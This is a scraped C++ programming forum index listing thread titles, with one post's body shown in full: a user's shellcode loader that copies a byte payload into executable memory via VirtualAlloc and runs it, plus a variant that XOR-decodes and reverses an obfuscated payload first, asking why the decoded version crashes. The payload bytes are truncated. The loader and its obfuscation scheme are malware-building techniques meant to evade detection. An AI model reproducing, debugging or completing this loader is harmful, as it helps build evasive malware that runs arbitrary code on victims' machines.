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QuestionMaking VC++ 6 DLL to work on VB6 App with no UNICODE issue Pin
whiteboat27-Oct-22 19:50
whiteboat27-Oct-22 19:50 
AnswerRe: Making VC++ 6 DLL to work on VB6 App with no UNICODE issue Pin
Victor Nijegorodov27-Oct-22 20:41
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GeneralRe: Making VC++ 6 DLL to work on VB6 App with no UNICODE issue Pin
whiteboat27-Oct-22 21:21
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AnswerRe: Making VC++ 6 DLL to work on VB6 App with no UNICODE issue Pin
Jeremy Falcon15-Dec-22 11:53
professionalJeremy Falcon15-Dec-22 11:53 
QuestionProgram set Pin
debby forbes21-Oct-22 17:38
debby forbes21-Oct-22 17:38 
AnswerRe: Program set Pin
Richard MacCutchan21-Oct-22 21:39
mveRichard MacCutchan21-Oct-22 21:39 
AnswerRe: Program set Pin
CPallini24-Oct-22 22:20
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QuestionC++ Shellcode process returned -1073741819 (0xC0000005) Pin
Ben kubi20-Oct-22 4:56
Ben kubi20-Oct-22 4:56 
For a month now, I am having a hard time figuring out why the payload isnt working after reversing in decoder2.cpp. The output of the cout from Reverse(input); when inserted into decoder1.cpp is valid and run perfectly. However, parsing the same Reverse(input) to the memcpy and virtualalloc in decoder2.cpp doesn't. I receive this error "Process returned -1073741819 (0xC0000005)"

C++
decoder1.cpp 

int main()

{

   char input[] = "\xaa\xaa\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89...";

   void *exec = VirtualAlloc(0, sizeof input, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

   memcpy(exec, input, sizeof input);

   ((void(*)())exec)();

   return 0;

}





decoder2.cpp
 
void XORChiper(char orignalString[], int xorKey) {

   int len = strlen(orignalString);

   for (int i = 0; i < len; i++){

          orignalString[i] = orignalString[i] ^ xorKey;

}

}


void Reverse(char name[])

{ 
     int nameLength = strlen(name)-1;


     for(int currentChar=0; currentChar < nameLength; --nameLength, ++currentChar)`

         {	
	        char temp = name[currentChar];`

	        name[currentChar] = name[nameLength];

	        name[nameLength] = temp;

         }

}

int main(void)

{

    char input[] = "7>[7>[2c[aa[42[77...";

    int calc_len = sizeof(input);

    int key = 7;

    XORChiper(input,key);

    Reverse(input);

    cout<< input; // \xaa\xaa\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89...

    void *exec = VirtualAlloc(0, sizeof input, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    memcpy(exec, input, sizeof input);

    ((void(*)())exec)();

    return 0;

}




modified 20-Oct-22 11:42am.

AnswerRe: C++ Shellcode process returned -1073741819 (0xC0000005) Pin
Richard MacCutchan20-Oct-22 5:41
mveRichard MacCutchan20-Oct-22 5:41 
GeneralRe: C++ Shellcode process returned -1073741819 (0xC0000005) Pin
Ben kubi20-Oct-22 5:53
Ben kubi20-Oct-22 5:53 
GeneralRe: C++ Shellcode process returned -1073741819 (0xC0000005) Pin
Victor Nijegorodov20-Oct-22 6:01
Victor Nijegorodov20-Oct-22 6:01 
GeneralRe: C++ Shellcode process returned -1073741819 (0xC0000005) Pin
Richard MacCutchan20-Oct-22 6:36
mveRichard MacCutchan20-Oct-22 6:36 
GeneralRe: C++ Shellcode process returned -1073741819 (0xC0000005) Pin
Ben kubi20-Oct-22 6:50
Ben kubi20-Oct-22 6:50 
GeneralRe: C++ Shellcode process returned -1073741819 (0xC0000005) Pin
Victor Nijegorodov20-Oct-22 10:46
Victor Nijegorodov20-Oct-22 10:46 
GeneralRe: C++ Shellcode process returned -1073741819 (0xC0000005) Pin
Ben kubi20-Oct-22 11:32
Ben kubi20-Oct-22 11:32 
GeneralRe: C++ Shellcode process returned -1073741819 (0xC0000005) Pin
Richard MacCutchan20-Oct-22 20:38
mveRichard MacCutchan20-Oct-22 20:38 
AnswerRe: C++ Shellcode process returned -1073741819 (0xC0000005) Pin
Mircea Neacsu20-Oct-22 14:04
Mircea Neacsu20-Oct-22 14:04 
AnswerRe: C++ Shellcode process returned -1073741819 (0xC0000005) Pin
Richard MacCutchan20-Oct-22 21:01
mveRichard MacCutchan20-Oct-22 21:01 
QuestionCannot initialize iterator with vector type defined in class Pin
ForNow12-Oct-22 16:40
ForNow12-Oct-22 16:40 
AnswerRe: Cannot initialize iterator with vector type defined in class Pin
CPallini12-Oct-22 21:42
mveCPallini12-Oct-22 21:42 
QuestionCreate a Makefile from this mess Pin
pkfox8-Oct-22 2:56
professionalpkfox8-Oct-22 2:56 
AnswerRe: Create a Makefile from this mess Pin
Richard MacCutchan8-Oct-22 5:34
mveRichard MacCutchan8-Oct-22 5:34 
GeneralRe: Create a Makefile from this mess Pin
pkfox8-Oct-22 5:42
professionalpkfox8-Oct-22 5:42 
GeneralRe: Create a Makefile from this mess Pin
Richard MacCutchan8-Oct-22 5:57
mveRichard MacCutchan8-Oct-22 5:57 
GeneralRe: Create a Makefile from this mess Pin
pkfox8-Oct-22 6:17
professionalpkfox8-Oct-22 6:17 

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